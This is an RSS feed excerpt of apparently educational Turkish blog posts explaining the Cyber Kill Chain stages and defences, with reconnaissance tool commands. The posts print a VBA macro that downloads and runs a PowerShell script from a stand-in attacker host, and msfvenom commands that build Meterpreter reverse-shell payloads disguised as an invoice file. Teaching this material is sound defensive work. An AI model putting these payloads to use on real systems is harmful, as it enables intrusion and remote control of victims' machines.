bağlantılar</li><li>Şüpheli User-Agent bilgileri</li></ul><h4>B. DNS Analizi</h4><p>Uzun Subdomain Sorguları: DNS Tunneling belirtisi olabilir.</p><p>NXDOMAIN: Sorgulanan alan adının bulunamadığını bildiren DNS yanıtıdır.</p><p>Çok sayıda NXDOMAIN (bulunamadı) cevabı görülmesi, DGA kullanan zararlı yazılımların sürekli farklı alan adlarını denemesiyle ilişkili olabilir.</p><h4>C. Tehdit İstihbaratı (Threat Intelligence)</h4><p>Bilinen C2 IP adreslerinin ve domainlerinin (IOC) güvenlik cihazlarına (SIEM, Firewall) entegre edilmesi ve engellenmesi.</p><p>IOC, bir sistemin ele geçirilmiş olabileceğine işaret eden göstergedir.</p><p>Bu bilgiler SIEM ve Firewall gibi güvenlik sistemlerinde kullanılabilir.</p><p>SIEM (Security Information and Event Management), güvenlik bilgi ve olay yönetimi anlamına gelir. Güvenlik kayıtlarının toplanması ve analiz edilmesine yardımcı olur.</p><h4>D. Ağ Segmentasyonu (Network Segmentation)</h4><p>Network ağ, segmentation bölümlere ayırma anlamına gelir.</p><p>Ağ segmentasyonu, bir ağı daha küçük ve ayrı bölümlere ayırma yaklaşımıdır.</p><p>Örneğin kritik sunucuların internete doğrudan erişimini sınırlandırmak, saldırganın bu sunucularla C2 bağlantısı kurmasını zorlaştırabilir.</p><h3>7. Aşama — Hedef Üzerindeki Eylemler (Actions on Objectives)</h3><h3>1. Hedef Üzerindeki Eylemler Nedir?</h3><p>Bu aşama, saldırganın sisteme girdikten sonra asıl amacını gerçekleştirdiği aşamadır.</p><p>Actions eylemler, objectives ise hedefler veya amaçlar anlamına gelir.</p><p>Örneğin bir hırsızın eve girdiğini düşün.</p><p>Önce evi araştırdı, kapının güvenlik açığını buldu, içeri girdi ve tekrar girebilmek için kendisine bir yol hazırladı. Ancak hırsızın asıl amacı yalnızca eve girmek değildi. Para veya değerli eşyaları çalmak istiyordu.</p><p>İşte hırsızın evdeki değerli eşyaları çalması, bu son aşamaya benzer.</p><p>Siber saldırganın amacı da veri çalmak, sistemi şifrelemek, zarar vermek veya sistem kaynaklarını kullanmak olabilir.</p><h3>2. Saldırganın Olası Hedefleri</h3><h4>A. Veri Hırsızlığı (Data Exfiltration)</h4><p>Data Exfiltration, hassas bilgilerin sistemden izinsiz şekilde dışarı çıkarılmasıdır.</p><p>Örneğin bir alışveriş sitesinin veritabanında müşterilerin kişisel bilgileri bulunuyor. Saldırgan bu bilgileri ele geçirip kendi sistemine aktarıyorsa veri hırsızlığı gerçekleşiyor.</p><p><strong>Dosyaları sıkıştırma:</strong> Veriler ZIP veya RAR dosyalarına dönüştürülüp parçalara ayrılarak taşınabilir.</p><p><strong>Ağ protokolleri: </strong>DNS Tunneling, ICMP ve HTTPS üzerinden veri aktarılabilir.</p><p><strong>Bulut hizmetleri: </strong>Veriler Dropbox veya Google Drive gibi depolama hizmetlerine yüklenebilir.</p><p>Buradaki önemli nokta, verinin yalnızca okunması değil, kurumun kontrolü dışına çıkarılmasıdır.</p><h4>B. Şifreleme ve Fidye (Ransomware)</h4><p>Ransomware, fidye yazılımı anlamına gelir.</p><p>Saldırgan, bilgisayardaki dosyaları şifreleyerek kullanılamaz hâle getirir ve dosyaların tekrar açılması karşılığında para ister.</p><p>Örneğin bir şirketin bütün müşteri dosyalarının şifrelendiğini düşün. Şirket dosyalarına ulaşamıyor ve saldırgan dosyaları açmak için fidye istiyor.</p><p><em>Double çift, extortion şantaj veya zorla para alma anlamına gelir.</em></p><p>Burada saldırgan iki farklı tehdit kullanır:<br>Birincisi dosyaları şifrelemektir.<br>İkincisi ise çaldığı bilgileri kamuya açıklamakla tehdit etmektir.</p><p>Yani saldırgan hem sistemleri kullanılamaz hâle getirir hem de bilgileri yayımlamakla tehdit eder.</p><h4>C. Veri Tahribatı ve Sabotaj (Destruction)</h4><p>Bu saldırılarda amaç bilgileri çalmak değil, sisteme zarar vermektir.</p><p>Örneğin saldırgan bir şirketin önemli dosyalarını silebilir veya sistemlerini çalışamaz hâle getirebilir.</p><p><strong>Wiper Malware: Dosyaları veya verileri silerek zarar vermeyi amaçlayan zararlı yazılım.</strong></p><p><strong>SCADA (Supervisory Control and Data Acquisition): Endüstriyel sistemlerin izlenmesi ve kontrolüyle ilgili bir yapıdır.</strong></p><p>Saldırgan bu tür sistemleri hedef alarak operasyonların aksamasına neden olabilir.</p><h4>D. Kaynak Sömürüsü (Resource Hijacking)</h4><p>Resource Hijacking, bir sistemin kaynaklarının izinsiz şekilde ele geçirilip kullanılmasıdır.</p><p>Örneğin saldırgan bir bilgisayarın işlemci gücünü kendi amacı için kullanabilir.</p><p><strong>Cryptomining (Kripto Para Madenciliği): Bilgisayarın işlem gücünün kripto para madenciliğinde kullanılması.</strong></p><p><strong>Botnet: Saldırgan tarafından kontrol edilen çok sayıda ele geçirilmiş cihazdan oluşan ağ. </strong>Botnet içerisindeki cihazlar başka hedeflere yönelik DDoS saldırılarında kullanılabilir.</p><p><em>DDoS (Distributed Denial of Service), dağıtık hizmet engelleme saldırısıdır.</em></p><p>Bu yöntemde bir hizmetin aşırı trafik nedeniyle kullanılamaz hâle getirilmesi amaçlanır.</p><h4>E. Veri Manipülasyonu (Data Manipulation)</h4><p>Data Manipulation, verilerin izinsiz değiştirilmesi veya bozulmasıdır.</p><p>Manipulation değiştirme, yönlendirme veya manipüle etme anlamına gelir.</p><p>Örneğin bir bankanın veritabanında hesabının 5.000 TL olduğunu düşün. Saldırgan bu bilgiyi değiştirerek bakiyeyi 500 TL olarak gösterirse veri manipülasyonu gerçekleşmiş olur..</p><h3>3. Lateral Movement (Yanal Hareket)</h3><p>Lateral Movement, saldırganın ele geçirdiği bir bilgisayardan aynı ağ üzerindeki başka bilgisayarlara geçmeye çalışmasıdır.</p><h4>Örnekle düşünelim</h4><p>Bir şirketin üç bilgisayarı olduğunu düşün.<br>Birincisi çalışan bilgisayarı.<br>İkincisi muhasebe bilgisayarı.<br>Üçüncüsü ise müşteri verilerinin saklandığı sunucu.</p><p>Saldırgan ilk olarak çalışan bilgisayarına erişim sağlıyor.<br>Ancak asıl amacı müşteri verilerini ele geçirmek.<br>Bu yüzden ilk bilgisayardan diğer sistemlere ulaşmaya çalışıyor.</p><p>İşte buna Lateral Movement denir.</p><p>İlk ele geçirilen bilgisayar için Patient Zero ifadesi kullanılır.</p><p>Patient hasta, zero sıfır anlamına gelir. Siber güvenlik bağlamında bu ifade, saldırıda ilk ele geçirilen veya enfekte edilen sistemi anlatmak için kullanılır.</p><h3>Yanal Hareket Teknikleri</h3><p><strong>Pass the Hash :</strong> Pass aktarmak, hash ise bir veriden hesaplanan özet değer anlamına gelir.</p><p>Bu teknikte saldırgan, kullanıcının parolasını doğrudan bilmeden ele geçirdiği NTLM parola özetini kullanarak kimlik doğrulama yapmaya çalışır.</p><p><strong>RDP (Remote Desktop Protocol) : </strong>Remote uzak, desktop masaüstü, protocol protokol anlamına gelir. Başka bir bilgisayarın masaüstüne uzaktan erişmek için kullanılır.</p><p><strong>SSH (Secure Shell) : </strong>Secure güvenli, shell kabuk anlamına gelir. Uzak sistemlere güvenli bağlantı kurmak ve komut çalıştırmak için kullanılan protokoldür.</p><p><strong>WMI (Windows Management Instrumentation) : </strong>Windows sistemlerinin yönetilmesi ve izlenmesi amacıyla kullanılan teknolojidir.</p><p><strong>PowerShell Remoting :</strong> Remoting uzaktan erişim veya uzaktan yönetim anlamına gelir.</p><p>Bu teknolojilerin kendileri normal yönetim işlemlerinde de kullanılabilir. Güvenlik sorunu, saldırganların bunları yetkisiz amaçlarla kullanmasıdır.</p><h3>4. Teknik Analiz: DNS Üzerinden Veri Kaçırma Örneği</h3><p>Normalde DNS, alan adlarını çözümlemek için kullanılır.</p><p>Ancak saldırgan bu örnekte dosyadaki bilgileri DNS sorgularının içerisine yerleştirmeye çalışıyor.</p><p>Sorgular saldırganın kontrol ettiği DNS sunucusuna ulaştığında, saldırgan gelen bilgileri okuyup yeniden birleştirmeyi amaçlıyor.</p><p>İşte DNS Tunneling ile veri kaçırmanın mantığı budur.</p><h3>5. Hedef Üzerindeki Eylemler Aşamasında Savunma</h3><p>Saldırgan bu aşamaya ulaştığında sistemde bir güvenlik ihlali gerçekleşmiş olabilir.</p><h4>A. DLP (Data Loss Prevention)</h4><p>DLP, hassas verilerin kurum dışına çıkarılmasını izlemek ve engellemek için kullanılan güvenlik yaklaşımıdır.</p><h4>B. UEBA (User and Entity Behavior Analytics)</h4><p>UEBA, kullanıcıların ve sistemlerin davranışlarını inceleyerek olağan dışı faaliyetleri tespit etmeye yardımcı olur.</p><p>Örneğin normalde birkaç dosyaya erişen bir kullanıcının gece yarısı binlerce dosya indirmesi şüpheli olabilir.</p><h4>C. Ağ Segmentasyonu (Network Segmentation)</h4><p>Ağ segmentasyonu, bir bilgisayar ağının farklı bölümlere ayrılmasıdır.</p><p>Amaç, sistemler arasındaki gereksiz erişimleri sınırlandırmaktır.</p><p>Örneğin bir çalışanın bilgisayarı ele geçirilse bile, bu bilgisayarın kritik veritabanı sunucusuna doğrudan erişememesi saldırganın yanal hareketini zorlaştırabilir.</p><h4>D. Yedekleme (Backup)</h4><p>Önemli dosyaların ayrı kopyalarının saklanmasıdır.</p><p>Örneğin fidye yazılımı şirketin dosyalarını şifrelerse güncel ve güvenilir yedekler sayesinde veriler geri yüklenebilir.</p><p>Çevrimdışı yedekler, saldırı sırasında doğrudan erişilemeyen ortamlarda tutulduklarında korunmaya yardımcı olabilir.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3a885c16438c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[2 — Cyber Kill Chain Nedir? Siber Saldırının İlk 4 Aşaması | Bölüm 1]]></title>
            <link>https://medium.com/@hifaoner/2-cyber-kill-chain-siber-sald%C4%B1r%C4%B1-zinciri-0a32f8c51fdf?source=rss-4e8ed61e3c70------2</link>
            <guid isPermaLink="false">https://medium.com/p/0a32f8c51fdf</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[cyber-kill-chain]]></category>
            <category><![CDATA[mitre-attck]]></category>
            <dc:creator><![CDATA[Hifa Nur Oner | Design & Tech & Cybersecurity]]></dc:creator>
            <pubDate>Sun, 15 Nov 2026 16:46:42 GMT</pubDate>
            <atom:updated>2026-11-15T17:03:49.149Z</atom:updated>
            <content:encoded><![CDATA[<h3>Cyber Kill Chain Nedir?</h3><p>Cyber Kill Chain, bir siber saldırının başlangıcından sonuna kadar hangi aşamalardan geçtiğini gösteren bir modeldir.</p><p>2011 yılında Lockheed Martin şirketinin CSIRT (Computer Security Incident Response Team — <em>Bilgisayar Güvenliği Olaylarına Müdahale Ekibi) </em>ekibi tarafından geliştirilmiştir. Bu model, gelişmiş kalıcı tehditlerin <em>(</em>APT <em>— Advanced Persistent Threat)</em> ve karmaşık siber saldırıların anatomisini yedi ardışık aşamaya böler.</p><p>A<strong>skeri alandaki hedefleme zinciri kavramının siber güvenliğe uyarlanmış hâlidir.</strong></p><h3>Cyber Kill Chain’in 7 Aşaması</h3><p>Cyber Kill Chain modeli, bir siber saldırının gerçekleşme sürecini yedi aşamada ele alır. Her aşama, saldırganın hedefine ulaşmak için gerçekleştirdiği farklı bir faaliyeti temsil eder.</p><p><strong>1. Keşif (Reconnaissance)</strong></p><p>Saldırganın hedef hakkında bilgi topladığı ilk aşamadır. <em>Reconnaissance</em> kelimesi keşif ve ön araştırma anlamına gelir. Fransızca <em>reconnaître</em> (tanımak) fiiliyle ilişkilidir.</p><p><strong>2. Silahlanma (Weaponization)</strong></p><p>Saldırgan, tespit ettiği güvenlik açıklarına uygun zararlı yazılımı hazırlar. <em>Weapon</em> silah, <em>weaponization</em> ise silah hâline getirme anlamına gelir.</p><p><strong>3. İletim (Delivery)</strong></p><p>Hazırlanan zararlı içerik hedef sisteme gönderilir. <em>Delivery</em> teslimat veya ulaştırma anlamındadır ve <em>deliver</em> (teslim etmek, ulaştırmak) fiilinden türemiştir.</p><p><strong>4. Sömürü (Exploitation)</strong></p><p>Zararlı içerik, hedef sistemde bulunan <strong>güvenlik açığını tetikler.</strong> <em>Exploit</em> bir güvenlik açığından yararlanmak, <em>exploitation</em> ise bu açıktan yararlanma işlemini ifade eder.</p><p><strong>5. Kurulum (Installation)</strong></p><p>Saldırgan, sistemde kalıcı olabilmek amacıyla bir arka kapı (backdoor) yerleştirir.</p><p><strong>6. Komuta ve Kontrol (Command and Control — C2)</strong></p><p>Ele geçirilen sistemin <strong>uzaktan yönetildiği aşamadır.</strong></p><p><strong>7. Hedef Üzerindeki Eylemler (Actions on Objectives)</strong></p><p>Saldırganın asıl amacını gerçekleştirdiği son aşamadır. Veri hırsızlığı, şifreleme veya sabotaj bu aşamada gerçekleştirilebilecek eylemlerdendir. <em>Action</em> eylem, <em>objective</em> ise hedef veya amaç anlamına gelir.</p><p><strong>Özetle:</strong> Saldırgan önce hedefini araştırır, ardından saldırı aracını hazırlar ve hedefe ulaştırır. Güvenlik açığından yararlanarak sisteme yerleşir, sistemi uzaktan kontrol etmeye çalışır ve son olarak asıl amacını gerçekleştirir.</p><p>Bu yedi aşama, Cyber Kill Chain modelinin tanımladığı saldırı sürecini temsil eder. Ancak gerçek siber saldırılar her zaman bu sırayı takip etmeyebilir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CPe-a0Rt_APvgJy25gdKUA.png" /></figure><h3>İstihbarat Odaklı Savunma</h3><p>Cyber Kill Chain, sadece bir analiz aracı değil, aynı zamanda İstihbarat Odaklı Savunma modelinin temelidir. Geleneksel savunma anlayışı “olay müdahalesi” (incident response) üzerine kuruluyken, bu model proaktif olmayı hedefler. Bu yaklaşımda amaç, saldırıyı mümkün olduğunca erken aşamada tespit edip engellemektir.</p><p>Örneğin saldırgan daha önce kullandığı -IP adresleri, dosya hash’leri, domain isimleri- yeniden kullanabilir. Güvenlik ekibi önceki saldırılardan elde ettiği bu bilgileri değerlendirerek yeni saldırıyı erkenden fark edebilir.</p><p><em>File Hash: Dosya hash’i. Bir dosyanın içeriğinden hesaplanan ve dosyanın tanınmasına yardımcı olabilen değerdir.</em></p><p><em>TTPs : Saldırganların kullandığı taktik, teknik ve prosedürler.</em></p><p>Bu göstergeler, saldırıların analiz edilmesinde ve gelecekteki tehditlerin tespit edilmesinde kullanılabilir.</p><h4>Cyber Kill Chain modelinin temel varsayımına göre:</h4><p>Saldırganın başarılı olabilmesi için zincirin bütün aşamalarını tamamlaması gerekir. Savunmacının ise saldırıyı durdurmak için zinciri tek bir aşamada kırması yeterlidir.</p><h3>Cyber Kill Chain Neden Eleştiriliyor?</h3><p>Model önemli olsa da bütün siber saldırıları eksiksiz açıklayamıyor.</p><p>Metninde üç temel sınırlama bulunuyor.</p><p>Birincisi: Dışarıdan gelen saldırılara odaklanması.<br>Model, daha çok dışarıdan sisteme girmeye çalışan saldırganları ele alıyor. Bu nedenle iç tehditleri tam olarak açıklayamıyor.</p><p>İkincisi: Doğrusal olması. Model saldırıları birinci aşamadan yedinci aşamaya doğru sıralıyor. Ancak gerçek saldırılar her zaman bu sırayı takip etmeyebilir.</p><p>Üçüncüsü: Modern saldırıların farklılaşması. Özellikle bulut tabanlı veya kimlik odaklı saldırılarda bazı aşamalar atlanabilir.</p><h3>1.Aşama — Keşif (Reconnaissance) Nedir?</h3><p>Keşif, saldırganın hedefini araştırdığı, bilgi topladığı ve saldırısını planladığı ilk aşamadır.</p><p>Örneğin bir şirketin bilgisayar sistemlerini hedef aldığını düşün. Öncelikle şirketin kullandığı teknolojileri, IP adreslerini veya sunucularını öğrenmek isteyebilir.</p><p>Bu bilgi toplama sürecine keşif denir.</p><p>Keşif ikiye ayrılır: Pasif keşif ve aktif keşif.</p><h3>A. Pasif Keşif (Passive Reconnaissance)</h3><p>Pasif keşif, hedef sistemle doğrudan iletişim kurmadan bilgi toplamaktır.</p><p>Örneğin bir şirketin LinkedIn sayfasına, iş ilanlarına veya arama motorlarında bulunan bilgilerine bakmak pasif keşfe örnektir.</p><p>Saldırgan hedefin sunucularına doğrudan istek göndermek yerine, <strong>internette zaten mevcut olan bilgilerden yararlanır. </strong>Bu<strong> </strong>nedenle güvenlik duvarları (Firewall) veya IDS/IPS sistemleri tarafından tespit edilmesi çok zordur. Bilgiler genellikle halka açık kaynaklardan (OSINT — Open Source Intelligence) elde edilir.</p><p><strong><em>OSINT (Open Source Intelligence), açık kaynak istihbaratı demektir.</em></strong></p><h3>Pasif Keşifte Kullanılan Araçlar</h3><h4>1) Google Dorking</h4><p>Google Dorking, arama motorlarında ö<strong>zel sorgular kullanarak belirli bilgilere ulaşma yöntemidir.</strong></p><p>Örneğin:</p><pre>site:target-site.com filetype:pdf</pre><p>Bu sorguyu parçalara ayıralım.</p><p>site: aramanın hangi web sitesiyle sınırlandırılacağını belirtir.</p><p>filetype:pdf ise PDF dosyalarını arar.</p><p>Yani bu sorgu, target-site.com alan adıyla ilişkili ve Google tarafından indekslenmiş PDF dosyalarını arar.</p><h4>2) theHarvester</h4><p>theHarvester, açık kaynaklardan bilgi toplamak için kullanılan bir OSINT aracıdır.</p><p>E-posta adresleri, alt alan adları, çalışan isimleri ve ana bilgisayar adları gibi bilgileri araştırabilir.</p><pre>theHarvester -d target-site.com -l 500 -b google</pre><p>theHarvester aracın adı.</p><p>-d target-site.com araştırılacak alan adını belirtir.</p><p>-l 500 arama sonucunun limitini 500 olarak belirler.</p><p>-b google bilgi kaynağı olarak Google&#39;ı seçer.</p><p>Bu komut, belirtilen alan adına ilişkin bilgileri Google üzerinden toplamayı amaçlar.</p><h4>3) Shodan</h4><p>Shodan, <strong>internete bağlı cihazlar ve hizmetler hakkında bilgi sunan</strong> bir arama motorudur.</p><p>Örneğin sunucular, web kameraları ve IoT cihazları hakkında bilgiler sağlayabilir.</p><p>Shodan üzerinden açık portlar, servis bilgileri ve sunucu banner bilgileri araştırılabilir.</p><pre>shodan search org:&quot;Target Organization&quot;</pre><p>Burada search arama işlemini belirtir.</p><p>org: ise organizasyon adına göre arama yapılmasını sağlar.</p><p>Banner, bir servisin kendisi hakkında sunduğu tanıtıcı bilgilerdir. Bu bilgiler arasında<strong> yazılım veya sürüm bilgileri bulunabilir.</strong></p><p>Shodan’ın kendi tarama altyapısıyla topladığı bilgilerin aranması, hedefle doğrudan iletişim kurmadan bilgi edinmeye yardımcı olabilir.</p><h3>B. Aktif Keşif (Active Reconnaissance)</h3><p>Aktif keşif, hedef sistemle doğrudan iletişime geçerek bilgi toplamaktır. Pasif keşiften en önemli farkı budur.</p><p>Saldırgan hedef sisteme <strong>ağ paketleri gönderir, sistemin verdiği cevapları inceler ve bilgi edinmeye çalışır.</strong></p><p>Bu işlemler hedef sistemin kayıtlarında iz bırakabilir ve güvenlik araçları tarafından tespit edilebilir.</p><p>Aktif keşifte şu bilgiler araştırılır:</p><ul><li>Açık portlar</li><li>Çalışan servislerin sürümleri</li><li>İşletim sistemi</li><li>Ağın yapısı</li></ul><h3>Aktif Keşifte Kullanılan Araçlar</h3><h4>1) Nmap (Network Mapper — Ağ Haritalayıcı)</h4><p>Nmap, ağ taraması yapmak ve sistemler hakkında bilgi toplamak için kullanılan bir araçtır.</p><h4>a: Port taraması</h4><pre>nmap -sS -p- 192.168.1.10</pre><p>Bu komut, belirtilen IP adresindeki portları taramak için kullanılır.</p><p>Parçalara ayıralım:</p><p>nmap kullanılan araçtır.</p><p>-sS TCP SYN taramasını belirtir.</p><p>-p- 0–65535 aralığındaki tüm TCP port numaralarının taranmasını ister.</p><p>192.168.1.10 ise taranacak hedef IP adresidir.</p><p>TCP bağlantı kurmak ve veri iletmek için kullanılan protokoldür. SYN bağlantıyı başlatan işarettir. SYN Scan ise bu işareti kullanarak portların durumunu araştırır.</p><h4>b: Servis sürümü ve işletim sistemi tespiti</h4><pre>nmap -sV -O 192.168.1.10</pre><p>-sV açık portlarda çalışan servislerin sürümlerini belirlemeye çalışır.</p><p>-O işletim sistemini tahmin etmeye çalışır.</p><p>Burada geçen OS (Operating System), işletim sistemi anlamına gelir.</p><p>Örnek çıktıda;</p><pre>21/tcp   open  ftp     vsftpd 2.3.4<br>80/tcp   open  http    Apache httpd 2.4.41<br>443/tcp  open  https   Apache httpd 2.4.41</pre><p>Bunu şöyle okuyabilirsin:</p><p>21/tcp: 21 numaralı TCP portu açık ve FTP hizmeti bulunuyor.<br>80/tcp: 80 numaralı TCP portu açık ve HTTP hizmeti bulunuyor.<br>443/tcp: 443 numaralı TCP portu açık ve HTTPS hizmeti bulunuyor.</p><p>Yani bir servisin sürümünü öğrenmek, o sürümde bilinen güvenlik açıkları bulunup bulunmadığını araştırmaya yardımcı olabilir.</p><h4>c: Web Dizin Tarama (Gobuster / Dirb)</h4><p>Bu araçlar, web sunucularındaki dizinleri ve dosyaları araştırmak için kullanılır.</p><pre>gobuster dir -u http://target-site.com -w /usr/share/wordlists/dirb/common.txt</pre><p>Komutu inceleyelim:</p><p>gobuster kullanılan aracın adıdır.<br>dir dizin tarama modunu belirtir.<br>-u hedef URL&#39;yi belirtir.<br>-w taramada kullanılacak kelime listesinin dosya yolunu belirtir.</p><p>Directory, dizin veya klasör anlamına gelir.</p><p>Wordlist, kelime listesi demektir.</p><p>Bu yöntemde araç, kelime listesindeki isimleri kullanarak web sunucusunda hangi dizinlerin veya dosyaların bulunduğunu araştırır.</p><p>Burada artık hedef web sunucusuna doğrudan istek gönderildiği için işlem aktif keşif kapsamındadır. Bu tür taramalar yalnızca izinli sistemlerde gerçekleştirilmelidir.</p><h3>Keşif Aşamasında Savunma</h3><p>Keşif aşamasını tamamen engellemek zordur. Özellikle pasif keşifte bilgiler zaten herkese açık kaynaklardan elde edilebilir.</p><p>Bilgi sızıntısını önleme: Şirketlerin web sitelerinde, iş ilanlarında ve sosyal medya hesaplarında gereksiz teknik ayrıntılar paylaşılmamalıdır.</p><p><strong>1 — Whois gizliliği: </strong>Alan adı kayıt bilgilerinin gizlenmesini ifade eder. Böylece alan adıyla ilişkili bazı kayıt bilgilerinin herkese açık olması önlenebilir.</p><p><strong>2 — Hata mesajlarını (Stack Trace) sınırlandırma:</strong> Web uygulamaları, hata oluştuğunda sistemin iç yapısıyla ilgili gereksiz ayrıntılar göstermemelidir.</p><p><strong>3 — Log (Kayıt) izleme:</strong> Aktif keşif sırasında gerçekleştirilen taramalar güvenlik kayıtlarında tespit edilebilir.</p><p><strong>4 — Log İzleme:</strong> Aktif tarama girişimleri (Nmap taramaları) Firewall ve IDS/IPS loglarından tespit edilmeli ve IP adresleri engellenmelidir..</p><ul><li><em>Log: Sistemde gerçekleşen olayların kayıtları.</em></li><li><em>Firewall (Güvenlik Duvarı): Ağ trafiğini kontrol eder.</em></li><li><em>IDS (Intrusion Detection System): Saldırıları tespit eder.</em></li><li><em>IPS (Intrusion Prevention System): Saldırıları tespit edip engelleyebilir.</em></li><li><em>IP Adresi: Cihazın ağ üzerindeki sayısal adresi.</em></li><li><em>Nmap: Ağdaki açık portları ve servisleri tarayan araç.</em></li></ul><h3>2.Aşama — Silahlanma (Weaponization) Nedir?</h3><h3>A.Silahlanma Nedir?</h3><p>Silahlanma, saldırganın keşif aşamasında öğrendiği bilgilerden yararlanarak hedef sistemdeki güvenlik açığını kullanabilecek bir saldırı aracı hazırlamasıdır.</p><p>Örneğin saldırgan, hedefin Windows kullandığını ve belirli bir yazılımında güvenlik açığı bulunduğunu öğrenmiş olabilir. Artık bu açığa uygun bir zararlı içerik hazırlamaya çalışır.</p><p>Bu aşamanın en önemli noktası:</p><p>Exploit + Payload = Weapon (Silah)</p><h4>Exploit (Sömürü Kodu)</h4><p>Exploit, sistemdeki bir güvenlik açığından yararlanmak için kullanılan koddur. İngilizcede bir şeyden yararlanmak veya onu kendi çıkarı için kullanmak anlamına gelir.</p><p>Örneğin bir yazılımda hata bulunduğunu düşün. Bu hatayı tetikleyerek yazılımın normalde yapmaması gereken bir işlem yapmasını sağlayan kod, exploit olabilir.</p><h4>Payload (Zararlı Yük)</h4><p>Payload, <strong>exploit başarılı olduktan sonra hedef sistemde çalıştırılması amaçlanan asıl koddur.</strong></p><p>Burada fark şu:</p><p>Exploit güvenlik açığından yararlanır. Payload ise ardından yapılması istenen işlemi gerçekleştirir. Örneğin exploit bir güvenlik açığını tetikleyebilir; payload ise saldırgana uzaktan erişim sağlamayı amaçlayabilir.</p><p><strong>Silahlanma genellikle saldırganın kendi bilgisayarında gerçekleşir</strong>. Yani hedef sisteme henüz doğrudan temas edilmemiştir.</p><h4>Reverse Shell (Ters Bağlantılı Kabuk)</h4><p>Reverse Shell’de hedef bilgisayar, saldırganın bilgisayarına doğru bağlantı başlatır. Yani bağlantı hedef sistemden dışarıya doğru kurulur.</p><h4>Bind Shell (Bağlantı Bekleyen Kabuk)</h4><p>Bind Shell’de hedef sistem belirli bir port üzerinden bağlantı bekler. Saldırgan bu porta bağlanmaya çalışır.</p><p>Reverse Shell: Hedef sistem bağlantıyı başlatır.<br>Bind Shell: Hedef sistem bağlantı bekler.</p><h3>B. Silahlanmada Kullanılan Dosya Türleri</h3><p>Saldırganlar zararlı içerikleri farklı dosya türleri içerisinde hazırlayabilir.</p><h4>Ofis Dosyaları ve Makrolar</h4><p>Word veya Excel dosyalarının içine VBA makroları yerleştirilebilir.</p><p>VBA (Visual Basic for Applications)</p><p>VBA, Microsoft Office uygulamalarında <strong>otomasyon işlemleri için kullanılabilen bir programlama dilidir.</strong></p><p>Macro (Makro) ise belirli işlemleri otomatik gerçekleştiren komutlar bütünüdür.</p><pre>Sub AutoOpen()<br>    Dim shell As Object<br>    Set shell = CreateObject(&quot;WScript.Shell&quot;)<br>    shell.Run &quot;powershell.exe -nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString(&#39;http://attacker-site.com/payload.ps1&#39;)&quot;<br>End Sub</pre><p>Metnindeki örnek VBA kodu, belge açıldığında PowerShell aracılığıyla uzak bir adresten betik indirip çalıştırmayı amaçlıyor.</p><p>AutoOpen: Belge açıldığında çalışan makro yordamının adı.<br>PowerShell: Windows ortamında komut ve betik çalıştırmak için kullanılan araç.<br>Script: Betik, belirli işlemleri gerçekleştiren kod.</p><h4>PDF Dosyaları</h4><p>PDF okuyucusundaki güvenlik açıklarından yararlanılması ve dosyada gömülü JavaScript bulunması.</p><p>Burada önemli olan, dosyanın PDF uzantılı olmasının tek başına güvenli olduğunu göstermemesidir.</p><h4>HTA ve Script Dosyaları</h4><p>HTA (HTML Application): HTML tabanlı Windows uygulaması.<br>JS: JavaScript dosyası.<br>VBS: VBScript dosyası.</p><p>Bu dosya türleri belirli ortamlarda komut veya betik çalıştırmak için kullanılabilir. Bu nedenle zararlı amaçlarla da kullanılabilirler.</p><h3>Payload Oluşturma Araçları</h3><p>Saldırganlar, silahlanma aşamasında çeşitli otomatize araçlar kullanırlar. Bunların en popüleri Metasploit Framework ve onun payload üretim aracı olan Msfvenom’dur.</p><h4>Metasploit Framework</h4><p>Metasploit, <strong>güvenlik testleri ve güvenlik açıklarının değerlendirilmesinde</strong> kullanılan bir framework’tür.</p><p><em>Framework, belirli bir amaç için hazırlanmış araç ve bileşenler bütünü anlamına gelir.</em></p><p><strong>Msfvenom,</strong> <strong>Metasploit içerisinde payload üretmek için kullanılan </strong>bir araçtır.</p><p>Aşağıdaki örnek, Windows bir hedef için, saldırgana geri bağlantı (reverse connection) kuracak zararlı bir .exe dosyası oluşturur.</p><pre>msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f exe -o invoice_update.exe</pre><pre>msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f raw &gt; shell.php</pre><p>Bu komutların ortak amacı, belirli sistemlerde çalışacak ve geri bağlantı kuracak payload dosyaları oluşturmaktır.</p><p>Meterpreter: Metasploit içerisinde kullanılan, hedef sistemle etkileşime yönelik bir payload türüdür.<br>Reverse TCP: TCP üzerinden hedef sistemin karşı tarafa bağlantı başlatmasını ifade eder.<br>Executable: Çalıştırılabilir dosya anlamına gelir. .exe uzantısı Windows çalıştırılabilir dosyalarıyla ilişkilidir.</p><ul><li>-p windows/x64/meterpreter/reverse_tcp: Payload türü (Windows 64-bit, Meterpreter reverse shell).</li><li>LHOST=192.168.1.5: Saldırganın IP adresi (Listening Host).</li><li>LPORT=4444: Saldırganın dinleyeceği port (Listening Port).</li><li>-f exe: Çıktı formatı (Executable).</li><li>-o invoice_update.exe: Oluşturulan dosyanın adı (Kurbanı kandırmak için &quot;fatura güncellemesi&quot; gibi isimlendirilmiştir).</li></ul><p>İki payload örneğinin temel farkı, birinin Windows çalıştırılabilir dosyası, diğerinin ise PHP dosyası olarak hazırlanmasıdır.</p><h3>C. Obfuscation (Kod Gizleme / Karartma)</h3><p>Obfuscation, bir kodun anlaşılmasını veya tanınmasını zorlaştırmak amacıyla görünümünün değiştirilmesidir.</p><p><em>İngilizce obfuscate fiili karartmak, belirsizleştirmek veya anlaşılması güç hâle getirmek anlamına gelir.</em></p><p>Güvenlik cihazları (Antivirus, EDR) bilinen payload imzalarını (signature) kolayca tespit edebilir. Bu nedenle saldırganlar, kodlarını gizlemek için Obfuscation teknikleri kullanırlar.</p><ul><li>Encoding: Kodu Base64, Hex gibi formatlara çevirme. Veriyi farklı bir gösterim biçimine dönüştürmektir.</li><li>Packing: Çalıştırılabilir dosyayı sıkıştırma ve şifreleme (örn: UPX).</li><li>Encryption (Şifreleme): Zararlı kodun bellekte çözülüp çalıştırılmasını sağlama.</li></ul><p>Örneğin, shikata_ga_nai kodlayıcısı (encoder) kullanılarak payload&#39;ın imzası 